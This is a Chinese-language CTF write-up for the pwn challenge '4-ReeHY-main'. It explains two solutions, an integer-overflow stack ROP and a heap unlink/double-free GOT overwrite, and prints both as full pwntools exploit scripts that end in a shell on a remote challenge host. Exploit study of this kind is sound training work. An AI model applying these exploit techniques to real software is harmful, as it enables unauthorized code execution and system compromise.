(攻防世界)(pwn)4-ReeHY-main

这题很早之前就做过了,之前做的时候没怎么注意,这次重新写又有很多感受。

0x00前言

这题有两种做法,一种是堆溢出,一种是栈溢出。第一次写的时候,由于刚刚入门,只会用栈溢出,这次重新看,用堆溢出试了一下,由于技术有限,还是出现了很多错误,找了很多资料,磕磕绊绊一下午才利用成功。
故写此博客记录一下。

0x01栈溢出利用方法

此题的栈溢出漏洞比较明显,因为他有一个很明显的整数溢出漏洞,可以导致栈漏洞。
(攻防世界)(pwn)4-ReeHY-main_第1张图片
没开canary,也没有开启PIE。
(攻防世界)(pwn)4-ReeHY-main_第2张图片
打开IDA,我们可以看到我们设置的是有符号数,但是作为输入函数的限制的时候变成了无符号数,这样,当我们输入-1的时候,我们可输入的字符串长度就会因为这样而变得非常大。我们就可以从buf处溢出,构造ROP链getshell。
exp如下:

#! /usr/bin/env python 
from pwn import * 
from LibcSearcher import * 
context(log_level='debug') 
local=0 
if local: 
    p=process('./4-ReeHY-main') 
else: 
    p=remote('111.198.29.45',35208) 
elf=ELF('./4-ReeHY-main') 
obj=LibcSearcher('puts',0x7f5ca02d6690) 
#obj=LibcSearcher('puts',0x7fad94a5b690) 
#libc=ELF('./ctflibc.so.6') 
puts_got=elf.got['puts'] 
puts_plt=elf.plt['puts'] 
atoi_got=elf.got['atoi'] 
def new(size,cun,content): 
    p.recvuntil('$ ') 
    p.sendline('1') 
    p.recvuntil('Input size\n') 
    p.sendline(str(size)) 
    p.recvuntil('Input cun\n') 
    p.sendline(str(cun)) 
    p.recvuntil('Input content\n') 
    p.sendline(content)
#stack,int_overflow
prdi=0x400da3
main=0x400c8c
p.recvuntil('Input your name: \n')
p.sendlineafter('$ ','aaa')
new(-1,1,'a'*0x88+'\x00'*0x8+'a'*0x8+p64(prdi)+p64(puts_got)+p64(puts_plt)+p64(main))
#p.recv()
puts_add=u64(p.recvuntil('\n')[:6].ljust(8,'\x00'))
print hex(puts_add)
offset=puts_add-obj.dump('puts')
#system=libc.symbols['system']
#sh=libc.search('/bin/sh').next()
system=obj.dump('system')+offset
sh=obj.dump('str_bin_sh')+offset
#p.recvuntil('Input your name: \n')
p.sendlineafter('$ ','aaa')
new(-1,1,'a'*0x88+'\x00'*0x8+'a'*0x8+p64(prdi)+p64(sh)+p64(system)+p64(main))
#p.recv()
p.interactive()

栈溢出漏洞利用起来比较简单,那是因为这题主要考的还是堆溢出,所以堆溢出就没有这么简单了。

0x02堆溢出漏洞利用

这题的堆漏洞涉及unlink,doublefree。
先上exp:

#! /usr/bin/env python 
from pwn import * 
from LibcSearcher import * 
context(log_level='debug') 
local=0 
if local: 
    p=process('./4-ReeHY-main') 
else: 
    p=remote('111.198.29.45',35208) 
elf=ELF('./4-ReeHY-main') 
#obj=LibcSearcher('puts',0x7f5ca02d6690) 
obj=LibcSearcher('puts',0x7fad94a5b690) 
#libc=ELF('./ctflibc.so.6') 
puts_got=elf.got['puts'] 
puts_plt=elf.plt['puts'] 
atoi_got=elf.got['atoi'] 
def new(size,cun,content): 
    p.recvuntil('$ ') 
    p.sendline('1') 
    p.recvuntil('Input size\n') 
    p.sendline(str(size)) 
    p.recvuntil('Input cun\n') 
    p.sendline(str(cun)) 
    p.recvuntil('Input content\n') 
    p.sendline(content)
def edit_1(index,content):
    p.recvuntil('$ ')
    p.sendline('3')
    p.recvuntil('edit\n')
    p.sendline(str(index))
    p.recvuntil('content\n')
    p.sendline(content)
def edit_2(index,content):
    p.recvuntil('$ ')
    p.sendline('3')
    p.recvuntil('edit\n')
    p.sendline(str(index))
    p.send(content)
def delete(index):
    p.recvuntil('$ ')
    p.sendline('2')
    p.recvuntil('Chose one to dele\n')
    p.sendline(str(index))
    #heap,unlink,doublefree.
ptr=0x602100
free_got=elf.got['free']
p.recvuntil('Input your name: \n')
p.sendlineafter('$ ','aaa')
new(0x20,4,'/bin/sh')
new(0x100,0,'aaa')
new(0x100,1,'bbb')
delete(0)
delete(1)
payload = p64(0)+p64(0x101)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*(0x100-32)+p64(0x100)+p64(0x110)
new(0x210,2,payload)
delete(1)
edit_1(2,p64(0)+p64(puts_got)+p64(1)+p64(free_got)+p64(1))
edit_2(2,p64(puts_plt))
delete(1)
#gdb.attach(p)
puts_add=u64(p.recvuntil('\n')[:6].ljust(8,'\x00'))
print hex(puts_add)
offset=puts_add-obj.dump('puts')
system=obj.dump('system')+offset
edit_2(2,p64(system))
delete(4)
p.interactive()

思路

由于没有开启PIE,我们可以直接泄露puts_got的地址。
我们首先申请两个堆块,使得我们先控制0和1堆块的野指针。这样当我们再次申请堆块的时候,我们仍然会申请这两块的堆地址,这样就符合unlink攻击的所有条件了,就直接可以利用unlink攻击了。
对于unlink,推荐ctfwiki。
成功unlink后,又由于程序的RELRO没有开,我们就可以通过劫持的指针来劫持got表,改写对应函数的got值,这样,用这个函数的时候,程序就会调用我们改好的那个函数去,比如system。
这题有一个坑,由于pwntools的send发送数据时不会加’\n’而sendline发送时会加一个’\n’,所以我们这里要写两个edit函数。不然sendline发送的’\n’会对我们伪造堆产生影响。

你可能感兴趣的:(pwn)